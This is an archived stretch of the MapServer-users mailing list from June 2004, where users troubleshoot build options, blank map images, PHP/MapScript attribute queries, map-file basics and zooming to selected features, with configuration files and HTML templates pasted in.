--with-gd=/usr/local > > --with-freetype=/usr/bin --with-proj=/usr/src/proj-4.4.8 > > --with-gdal=/usr/local/bin/gdal-config > > --with-ogr=/usr/local/bin/gdal-config --with-wmsclient --with-wfs > > --with-wfsclient > > > > > > > > [root at tanami mapserver-4.2.0]# ./mapserv -v > > > > MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > > SUPPORTS=FREETYPE INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE > > > > Hi. > > If you compare your configure parameters with the -v output you can see > that there is nothing taken from the configure script because the -v > output look nearly like the basic mapserver properties. It is like using > configure without any option. > > Did you run the configure script the first time without options? Because > if you have done this you should have make a "make distclean" or > something to delete the old config cache and so on. > > If this is not the reason then you should have a look at the output of > your configure script and also take a look in your makefile. > > Regards, > Norbert. > Hi Norbert Thank you. I think you are correct. I actually deleted the source and extracted again and compiled and it worked. So no that I am familiar with make distclean I will do that in the future. Now I have problems with Webalizer and GD so can never win with upgrades. Thank you again. Andrew Rich From devel at itdownunder.com.au Mon Jun 7 02:50:59 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Mon, 7 Jun 2004 19:50:59 +1000 Subject: [Mapserver-users] Blank or no image returned In-Reply-To: <000b01c44a89$31a81310$65c8a8c0@arlaptop> Message-ID: <000301c44c74$f1603d30$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_0004_01C44CC8.C30C4D30 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All I have it working now! I will leave the text below for reference. Basically I was not loading the Image in my hack of the Itasca demo. Once I configured a Layer to include this image and have that layer load automatically it worked. Thank you to any one who read this even if I didn't receive a reply. Andrew Rich -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Andrew Rich Sent: Saturday, 5 June 2004 9:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Blank or no image returned Hi All I have Mapserv 4.2 installed and works with Itasca demo. I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF Tyler has given me a .map file which I am adjusting to the paths of my mapserv server. When loading the Initialize file the renamed Itasca demo for shows then select the basic application. The normal Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255. It was 255 255 255 which was white but I changed to this blue for testing. The scale bar in the lower left corner is in Kilometres and adjusts on Zoom In and Out. I have included a lot of information below but I need assistance to move on I think. I saw in a previous post that it may be related to the projection but my knowledge of these topics is very limited. Thank you for any assistance. Andrew Rich Maps Downunder ==== mapserv40 -v ==== MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ==== ldd /var/www/cgi-bin/mapserv40 ==== libgd.so.2 => /usr/local/lib/libgd.so.2 (0x4002b000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40064000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40082000) libpng.so.3 => /usr/local/lib/libpng.so.3 (0x400c1000) libproj.so.0 => /usr/local/lib/libproj.so.0 (0x400ee000) libgdal.so.1 => /usr/local/lib/libgdal.so.1 (0x40121000) libcurl.so.3 => /usr/local/lib/libcurl.so.3 (0x40417000) libdl.so.2 => /lib/libdl.so.2 (0x40444000) libm.so.6 => /lib/i686/libm.so.6 (0x40447000) libc.so.6 => /lib/i686/libc.so.6 (0x42000000) libpthread.so.0 => /lib/i686/libpthread.so.0 (0x40469000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x4047d000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x4048b000) libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x40561000) libz.so.1 => /usr/lib/libz.so.1 (0x4058e000) libodbc.so.1 => /usr/lib/libodbc.so.1 (0x4059c000) libungif.so.4 => /usr/lib/libungif.so.4 (0x405f9000) libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40601000) libssl.so.2 => /lib/libssl.so.2 (0x40644000) libcrypto.so.2 => /lib/libcrypto.so.2 (0x40672000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) ==== /etc/ld.so.conf ==== /usr/kerberos/lib /usr/X11R6/lib /usr/lib/qt2/lib /usr/lib/mysql /usr/lib/qt-3.0.5/lib /usr/lib/sane /usr/local/lib /usr/lib/python1.5/site-packages ==== MAP FILE ==== # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE small END STYLE 1 SIZE 250 4 COLOR 0 0 0 UNITS KILOMETERS INTERVALS 5 TRANSPARENT FALSE STATUS TRUE END # # Start of symbol definitions # SYMBOL NAME 'circle' TYPE ellipse FILLED TRUE POINTS 1 1 END END # # Start of layer definitions # ########## RASTER ############## LAYER NAME topo8 TYPE RASTER DATA topo8.tif STATUS OFF PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END END # Map File ==== INITIALIZE FILE ==== Maps Downunder GioFinder Application

Maps Downunder GioFinder Application


This demonstration application will take you through various levels of complexity. Starting with a basic application that allows a user to pan/zoom and change layers we add:

  • dynamically configured scalebars
  • javascript-based panning
  • query results to a frame
  • and finally, a DHTML rubber-band zoom/query capabilty


==== TEMPLATE HTML ==== Maps Downunder GioFinder Application Maps Downunder - GioFinder Application

Maps Downunder - GioFinder Application


scalebar (mi)

Browse map
Query feature
Query multiple features


Select Layers to Display:

Zoom In Pan Zoom Out

Zoom Size

Legend




back to start

[map_web_template] ------=_NextPart_000_0004_01C44CC8.C30C4D30 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

I have it working = now!

 

I will leave the text below for = reference.

 

Basically I was not loading the = Image in my hack of the Itasca demo.  =

 

Once I configured a Layer to = include this image and have that layer load automatically it = worked.

 

Thank you to any one who read this = even if I didn’t receive a reply.

 

Andrew = Rich

 

 

 

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Andrew Rich
Sent: =
Saturday, 5 June = 2004 9:11 AM
To: = mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users] Blank or no image returned

 

Hi All

 

I have Mapserv 4.2 installed and works with = Itasca = demo.

 

I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF

 

Tyler has given me a .map file which I am adjusting to the paths of my mapserv = server.

 

When loading the Initialize file the renamed = Itasca demo for shows then select the basic application.  The normal Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255.  It was 255 255 255 which was = white but I changed to this blue for testing.

 

The scale bar in the lower left corner is in = Kilometres and adjusts on Zoom In and Out.

 

I have included a lot of information below but I need assistance to move on I think.  =

 

I saw in a previous post that it may be related to = the projection but my knowledge of these topics is very limited. =

 

Thank you for any = assistance.

 

Andrew Rich

Maps Downunder

 

=3D=3D=3D=3D mapserv40 –v = =3D=3D=3D=3D

 

MapServer version 4.2.0 OUTPUT=3DPNG OUTPUT=3DJPEG = OUTPUT=3DWBMP SUPPORTS=3DPROJ SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER = SUPPORTS=3DWMS_CLIENT SUPPORTS=3DWFS_SERVER SUPPORTS=3DWFS_CLIENT INPUT=3DEPPL7 INPUT=3DOGR = INPUT=3DGDAL INPUT=3DSHAPEFILE

 

=3D=3D=3D=3D  = ldd /var/www/cgi-bin/mapserv40 =3D=3D=3D=3D

 

        libgd.so.2 =3D> /usr/local/lib/libgd.so.2 = (0x4002b000)

        libjpeg.so.62 =3D> /usr/lib/libjpeg.so.62 = (0x40064000)

        libfreetype.so.6 =3D> /usr/lib/libfreetype.so.6 = (0x40082000)

        libpng.so.3 =3D> /usr/local/lib/libpng.so.3 = (0x400c1000)

        libproj.so.0 =3D> /usr/local/lib/libproj.so.0 = (0x400ee000)

        libgdal.so.1 =3D> /usr/local/lib/libgdal.so.1 = (0x40121000)

        libcurl.so.3 =3D> /usr/local/lib/libcurl.so.3 = (0x40417000)

        libdl.so.2 =3D> /lib/libdl.so.2 = (0x40444000)

        libm.so.6 =3D> /lib/i686/libm.so.6 = (0x40447000)

        libc.so.6 =3D> /lib/i686/libc.so.6 = (0x42000000)

        libpthread.so.0 =3D> /lib/i686/libpthread.so.0 = (0x40469000)

        libXpm.so.4 =3D> /usr/X11R6/lib/libXpm.so.4 = (0x4047d000)

        libX11.so.6 =3D> /usr/X11R6/lib/libX11.so.6 = (0x4048b000)

        libpng12.so.0 =3D> /usr/local/lib/libpng12.so.0 = (0x40561000)

        libz.so.1 =3D> /usr/lib/libz.so.1 = (0x4058e000)

        libodbc.so.1 =3D> /usr/lib/libodbc.so.1 = (0x4059c000)

        libungif.so.4 =3D> /usr/lib/libungif.so.4 = (0x405f9000)

        libstdc++-libc6.2-2.so.3 =3D> = /usr/lib/libstdc++-libc6.2-2.so.3 = (0x40601000)

        libssl.so.2 =3D> /lib/libssl.so.2 = (0x40644000)

        libcrypto.so.2 =3D> /lib/libcrypto.so.2 = (0x40672000)

        /lib/ld-linux.so.2 =3D> /lib/ld-linux.so.2 = (0x40000000)

 

 

=3D=3D=3D=3D /etc/ld.so.conf = =3D=3D=3D=3D

 

/usr/kerberos/lib

/usr/X11R6/lib

/usr/lib/qt2/lib

/usr/lib/mysql

/usr/lib/qt-3.0.5/lib

/usr/lib/sane

/usr/local/lib

/usr/lib/python1.5/site-packages

 

=3D=3D=3D=3D MAP FILE = =3D=3D=3D=3D

 

#

# Start of map file

#

NAME DEMO

STATUS ON

SIZE 600 400

EXTENT -180 -90 180 90  # Whole world

 

UNITS DD

SHAPEPATH = "data"

IMAGECOLOR 100 100 255

#FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt"

 

CONFIG GDAL_DATA = "data"

 

IMAGETYPE PNG

#  = OUTPUTFORMAT

#    NAME "gif"

#    MIMETYPE "image/gif"

#    DRIVER "GD/GIF"

#    EXTENSION "gif"

#    IMAGEMODE PC256

#    TRANSPARENT FALSE

#  = END

 

#

# Projection definition, consult the PROJ.4 = documentation for parameter discussi

#

 

PROJECTION

  "init=3Depsg:4326"

END

 

#

# Start of web interface = definition

#

 

WEB

  = #HEADER demo_header.html

  = TEMPLATE giofinder_basic.html

  = #FOOTER demo_footer.html

  = IMAGEPATH "/var/www/html/maps/giofinder/tmp"

=

  = IMAGEURL "/giofinder/tmp/"

END

 

#

# Start of reference map

#

 

#

# Start of legend

#

 

LEGEND

  = KEYSIZE 18 12

  = LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 89

  = END

  STATUS = ON

 

#

# Start of map file

#

NAME DEMO

STATUS ON

SIZE 600 400

EXTENT -180 -90 180 90  # Whole world

 

UNITS DD

SHAPEPATH = "data"

IMAGECOLOR 100 100 255

#FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt"

 

CONFIG GDAL_DATA = "data"

 

IMAGETYPE PNG

#  = OUTPUTFORMAT

#    = NAME "gif"

#    MIMETYPE "image/gif"

#    DRIVER "GD/GIF"

#    EXTENSION "gif"

#    IMAGEMODE PC256

#    TRANSPARENT FALSE

#  = END

 

#

# Projection definition, consult the PROJ.4 = documentation for parameter discussi

#

 

PROJECTION

  "init=3Depsg:4326"

END

 

#

# Start of web interface = definition

#

 

WEB

  = #HEADER demo_header.html

  = TEMPLATE giofinder_basic.html

  = #FOOTER demo_footer.html

  = IMAGEPATH "/var/www/html/maps/giofinder/tmp"

=

  = IMAGEURL "/giofinder/tmp/"

END

 

#

# Start of reference map

#

 

#

# Start of legend

#

 

LEGEND

  = KEYSIZE 18 12

  = LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 89

  = END

  STATUS = ON

END

 

#

# Start of scalebar

#

 

SCALEBAR

  = IMAGECOLOR 255 255 255

  = LABEL

    COLOR 0 0 0

    SIZE small

  = END

  STYLE = 1

  SIZE = 250 4

  COLOR = 0 0 0

  UNITS KILOMETERS

  = INTERVALS 5

  = TRANSPARENT FALSE

  STATUS = TRUE

END

 

#

# Start of symbol = definitions

#

 

SYMBOL

  NAME = 'circle'

  TYPE = ellipse

  FILLED = TRUE

  POINTS = 1 1 END

END

 

#

# Start of layer = definitions

#

 

########## RASTER = ##############

 

LAYER

  NAME = topo8

  TYPE = RASTER

  DATA = topo8.tif

  STATUS = OFF

  = PROJECTION

   "proj=3Dlatlong"

   "ellps=3DWGS84" # = Geographic

  = END

END

 

 

END # Map File

 

 

 

 

=3D=3D=3D=3D INITIALIZE FILE = =3D=3D=3D=3D

 

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D = document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

  = </head>

  = <body bgcolor=3D"#FFFFFF">

 

    <center><h2>Maps Downunder GioFinder Application</h2></center>

   =  <p><hr><p>=

    This demonstration application will take you through various = levels of complexity. Starting with a basic application = that

    allows a user to pan/zoom and change layers we = add:

    <ul>

      = <li> dynamically configured scalebars

      = <li> javascript-based panning

      = <li> query results to a frame

      = <li> and finally, a DHTML rubber-band zoom/query = capabilty

    </ul>

 

    <!-- EDIT THE FORM ACTION -->

    <form name=3D"demo" method=3D"GET" action=3D"/cgi-bin/mapserv40" = onSubmit=3D"submit_form()">

 

<!--

      = <input type=3D"hidden" name=3D"layer" = value=3D"contours">

      = <input type=3D"hidden" name=3D"layer" = value=3D"dlgstln2">

-->

      = <input type=3D"hidden" name=3D"zoomsize" = value=3D2>

 

      <!-- = EDIT THESE HIDDEN VARIABLES -->

      = <input type=3D"hidden" name=3D"map" value=3D"/var/www/html/maps/giofinder/world.map">=

      = <input type=3D"hidden" name=3D"program" value=3D"/cgi-bin/mapserv40">

      = <input type=3D"hidden" name=3D"root" = value=3D"/giofinder">

      = <input type=3D"hidden" name=3D"map_web_imagepath" value=3D"/var/www/html/maps/giofinder/tmp/">

      = <input type=3D"hidden" name=3D"map_web_imageurl" value=3D"/giofinder/tmp/">

 

      = <select name=3D"map_web_template" = size=3D"1">

        <option value=3D"giofinder_basic.html"> Basic = Application

        <option value=3D"giofinder_adds_scalebar.html"> &nbsp;&nbsp;-- Adds second scalebar

        <option value=3D"giofinder_adds_pan.html"> &nbsp;&nbsp;-- Adds pan controls

        <option value=3D"giofinder_adds_frames.html"> &nbsp;&nbsp;-- Adds frames

        <option value=3D"giofinder_adds_dhtml.html"> &nbsp;&nbsp;-- Adds dhtml rubber-band = box

      = </select>

      = <input type=3D"submit" = value=3D"Initialize"></center>

 

    </form>

 

    <p><hr><p>

  = </body>

</html>

 

 

 

 

=3D=3D=3D=3D TEMPLATE HTML = =3D=3D=3D=3D

 

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

   =      var = template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

<html>

  = <head>

<html>

<head>

  <title>Maps Downunder - GioFinder = Application</title>

</head>

<body = bgcolor=3D"#ffffff">

 

<center><h1>Maps Downunder - GioFinder Application</h1></center>

<hr>

<form method=3D"GET" = action=3D"[program]" name=3D"mapserv">

 

<center>

<table border=3D"0" = cellspacing=3D"0" cellpadding=3D"4">

<tr>

<td valign=3D"top" = align=3D"center">

  = <table width=3D"390" border=3D"0" = cellspacing=3D"0" cellpadding=3D"4" align=3D"center" bgcolor=3D"#666666">

    <tr>

      <td align=3D"center"><input type=3D"image" name=3D"img" src=3D"[img]" = width=3D"[mapwidth]" height=3D"[mapheight]" border=3D"0" alt=3D"this = is the map"></td>

    </tr>

    <tr><td = bgcolor=3D"#666666">

      <img title=3D"scalebar (mi)" alt=3D"scalebar (mi)" src=3D"[scalebar]">

    </td></tr>

  = </table>

</td>

<td valign=3D"top" bgcolor=3D"#ffffff">

  = <table cellpadding=3D"5" cellspacing=3D"0" = border=3D"0" bgcolor=3D"#ffffff">

    <tr><td>

      <center><input type=3D"submit" value=3D"Refresh/Query"></center>

      = <p>

 

      = <input type=3D"radio" name=3D"mode" = value=3D"browse" checked> <b>Browse = map</b><br>

      = <input type=3D"radio" name=3D"mode" = value=3D"query"> <b>Query feature</b><br>

      = <input type=3D"radio" name=3D"mode" value=3D"nquery"> <b>Query = multiple features</b>

 

      = <hr>

 

      = <p>

      = <b>Select Layers to Display: </b><br>

      = <select multiple name=3D"layer" = size=3D3>

        <option value=3D"contours" [contours_select]> = Contours

        = <option value=3D"waterbodies" [waterbodies_select]> Lakes & = Rivers

<!--        <option value=3D"lakespy2" [lakespy2_select]> = Lakes & Rivers

        <option value=3D"dlgstln2" [dlgstln2_select]> = Streams

        <option value=3D"roads" [roads_select]> = Roads

        = <option value=3D"twprgpy3" [twprgpy3_select]> = Townships

        <option value=3D"drgs" [drgs_select]> USGS = 1:250,000 Quads

-->

      = </select>

 

      = <p>

      Zoom In <input type=3Dradio name=3Dzoomdir value=3D1 = [zoomdir_1_check]>

      Pan = <input type=3Dradio name=3Dzoomdir value=3D0 = [zoomdir_0_check]>

      Zoom = Out <input type=3Dradio name=3Dzoomdir value=3D-1 = [zoomdir_-1_check]>

      = <p>

      Zoom = Size <input type=3Dtext name=3Dzoomsize size=3D4 = value=3D[zoomsize]>

      = <p>

 

      = <font size=3D+1><b>Legend</b></font><br><hr>

      <img src=3D"[legend]"><hr>

 

      = <p>

      <center><input name=3D"ref" = type=3D"image" src=3D"[ref]" = border=3D"0"></center>

    </td></tr></table>

 

  </td></tr>

</table>

</center>

 

<input type=3D"hidden" = name=3D"imgxy" value=3D"[center]">

<input type=3D"hidden" = name=3D"imgext" value=3D"[mapext]">

<input type=3D"hidden" = name=3D"map" value=3D"[map]">

<input type=3D"hidden" = name=3D"root" value=3D"[root]">

<input type=3D"hidden" = name=3D"savequery" value=3D"true">

 

<input type=3D"hidden" = name=3D"program" value=3D"[program]">

<input type=3D"hidden" = name=3D"map_web_imagepath" value=3D"[map_web_imagepath]">

<input type=3D"hidden" name=3D"map_web_imageurl" = value=3D"[map_web_imageurl]">

<input type=3D"hidden" name=3D"map_web_template" = value=3D"[map_web_template]">

 

</form>

 

<p><hr><p><= /p>

 

<a href=3D"[root]/index.html">back to start</a><p>

<i>[map_web_template]</i>

 

</body></html>

 

------=_NextPart_000_0004_01C44CC8.C30C4D30-- From alexanderlimkh at yahoo.com Mon Jun 7 03:06:03 2004 From: alexanderlimkh at yahoo.com (Alexander Lim) Date: Mon, 7 Jun 2004 03:06:03 -0700 (PDT) Subject: [Mapserver-users] .shp file to .map file Message-ID: <20040607100603.22205.qmail@web60805.mail.yahoo.com> hi guys, sorry for this totally newbie question. i just got everything setup including php/mapscript. and i m starting to read the how-to by example. my question is on map file that mapserver uses. does this map file follows a "universal" standard just like .shp file or is it solely a mapserver format. the reason i m asking this is that i have .shp files of a country which were converted from mapinfo map and tab file format. is there a converter to convert .shp to mapserver map file or can i even use .shp file directly. thanks for any advice. alex __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From norbert.thieme at ilmenau.baw.de Mon Jun 7 03:04:04 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Mon, 07 Jun 2004 12:04:04 +0200 Subject: [Mapserver-users] Querybyattribute and drawquery problem In-Reply-To: <000201c44c6d$991d0a60$aa696e94@EPCCARTOGIS> References: <000201c44c6d$991d0a60$aa696e94@EPCCARTOGIS> Message-ID: <40C43D94.9040601@ilmenau.baw.de> Frank Broniewski schrieb: > Hello List > > I want to query a shapefile by some attribute stored in the shapefiles > .dbf. I thought using queryByAttribute() might be the right function to > use. My problem now is getting my query drawn. > As far as I understand, queryByAttribute returns an integer as a result > of the query. I used the following code to draw the result but with no > success: > > $mySearchLayer = $MapObj->getLayerByName("Toponyme"); > $result = > $mySearchLayer->queryByAttributes("toponyme",$searchitem,MS_SINGLE); > $myresultImg = $MapObj->drawQuery($result); > echo "
"; > > I observed, that $myresultImg always is 0, nevertheless of the value of > $searchitem. Even if I change $searchitem to a String like "Citie", > querybyAttributes returns always 0. Hi. The QString must be exact the same in your table. Then you will get a result. But there could be some kind of not printed character in your dbf. You can use the PHP dbf functions or odbc functions to make a like query or something and then use the mapscript function with this output. I think you shouldn't put the result in the drawquery because the mapobj draws the whole querycache. Regards, Norbert > Then my next problem is: how do I draw the query? Is my method showed > above correct, or what steps do I have to take? I already did some tests > and the apache log showed me, that the number of parameters in the > method drawQuery() is to small. When looking at the docs, I read > imageObj image and I frankly have to admit, that I do not know, what to > enter there. > > Many Thanks in Advance for any help offered > And greetings from Luxembourg > > Frank Broniewski > Mus?e National d'Histoire et d'Art > Section Pr?histoire / Projet EPC > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From wlazlowski at igpik.waw.pl Mon Jun 7 04:04:06 2004 From: wlazlowski at igpik.waw.pl (=?ISO-8859-2?Q?Tomasz_Wlaz=B3owski?=) Date: Mon, 07 Jun 2004 13:04:06 +0200 Subject: [Mapserver-users] PROBLEM WITH CLASS EXPRESSION CONNECTED WITH SHPMID Message-ID: <40C44BA6.4080501@igpik.waw.pl> This is a multi-part message in MIME format. --------------090105040200070901020003 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit HELLO MAPSERVER USERS! What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON'T KNOW HOW TO DO THIS. PLEASE HELP ME to dissolve my little problem ? In my map file I have "doubled shapefile": LAYER NAME PLOT DATA Cataster STATUS ON TYPE polygon LABELITEM "NUMER" LABELMAXSCALE 5000 TRANSPARENCY 10 CLASSITEM "NUMER" CLASS COLOR 245 245 220 OUTLINECOLOR 0 0 0 TEMPLATE "dzialki.html" LABEL COLOR 0 0 0 TYPE BITMAP FONT arial-bold SIZE SMALL ANTIALIAS TRUE POSITION CC PARTIALS FALSE MINDISTANCE 250 BUFFER 4 END END HEADER "dzialki_header.html" FOOTER "dzialki_footer.html" END #------------------------------------------------------ LAYER # Query NAME QPLOT DATA Cataster STATUS OFF TYPE polygon CLASSITEM "NUMER" CLASS # EXPRESSION ([NUMER] eq [value]) COLOR 255 50 10 OUTLINECOLOR 0 0 0 END END In my html file I use this syntax: and it's work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time: DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES????? --------------090105040200070901020003 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit HELLO MAPSERVER USERS!

What I try to do is center to the selected feature in current map extent. How can I zoom to selected feature (features). I know that I should use some syntax with [shpmid] but I DON’T KNOW HOW TO DO THIS.


PLEASE HELP ME to dissolve my little problem

In my map file I have “doubled shapefile”:

LAYER

NAME PLOT

DATA Cataster

STATUS ON

TYPE polygon

LABELITEM "NUMER"

LABELMAXSCALE 5000

TRANSPARENCY 10

CLASSITEM "NUMER"

CLASS

COLOR 245 245 220

OUTLINECOLOR 0 0 0

TEMPLATE "dzialki.html"

LABEL

COLOR 0 0 0

TYPE BITMAP

FONT arial-bold

SIZE SMALL

ANTIALIAS TRUE

POSITION CC

PARTIALS FALSE

MINDISTANCE 250

BUFFER 4


END

END

HEADER "dzialki_header.html"

FOOTER "dzialki_footer.html"

END

#------------------------------------------------------

LAYER # Query

NAME QPLOT

DATA Cataster

STATUS OFF

TYPE polygon

CLASSITEM "NUMER"

CLASS

# EXPRESSION ([NUMER] eq [value])

COLOR 255 50 10

OUTLINECOLOR 0 0 0

END

END


In my html file I use this syntax:

<input type="hidden" name="layer" value="Qdzialki">

<input type="hidden" name="map_Qdzialki_class_expression" value="[NUMER]">

<input type="text" name="map_Qdzialki_class_expression" size="5" maxsize="9" value="">

and it’s work fine. If I put some number in txtbox I get in the map window selected feature. But I ask one more time:

DOES ANYBODY KNOW HOW TO ZOOM TO THIS(THOSE) SELECTED FEATURES?????

--------------090105040200070901020003-- From norbert.thieme at ilmenau.baw.de Mon Jun 7 04:04:01 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Mon, 07 Jun 2004 13:04:01 +0200 Subject: [Mapserver-users] .shp file to .map file In-Reply-To: <20040607100603.22205.qmail@web60805.mail.yahoo.com> References: <20040607100603.22205.qmail@web60805.mail.yahoo.com> Message-ID: <40C44BA1.5060700@ilmenau.baw.de> Alexander Lim schrieb: > hi guys, > > sorry for this totally newbie question. > > i just got everything setup including php/mapscript. > and i m starting to read the how-to by example. my > question is on map file that mapserver uses. does this > map file follows a "universal" standard just like .shp > file or is it solely a mapserver format. the reason i > m asking this is that i have .shp files of a country > which were converted from mapinfo map and tab file > format. is there a converter to convert .shp to > mapserver map file or can i even use .shp file > directly. > > thanks for any advice. > > alex > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi. .shp and .map files are not the same. .shp/.shx/.dbf are data files and a .map file is - let's say something like a config file for the data written in normal and readable text. There's is nothing to convert but have a look at: http://mapserver.gis.umn.edu/contributed.html there are sure some tools to easily generate a map file. You can also write it yourself in a normal text file with an simple editor and change .txt to .map. Look at: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html If you have a mapfile then there are layers where you can specify your data like .shp files. So you can use the .shp directly. Regards, Norbert From imd_listuser at comcast.net Mon Jun 7 04:33:19 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Mon, 7 Jun 2004 07:33:19 -0400 Subject: [SPAM] - Re: [Mapserver-users] Virtual Spatial Data from SQL Server - Email found in subject Message-ID: <90264B8395BF154DB2CB12B068DFFAE90529D1@westward.im-design.net> Thanks Jenu, Unfortunately your suggestions did not seem to make a difference. I am thinking that the problem is with permissions on IIS6, since it its locked down by default. Im not 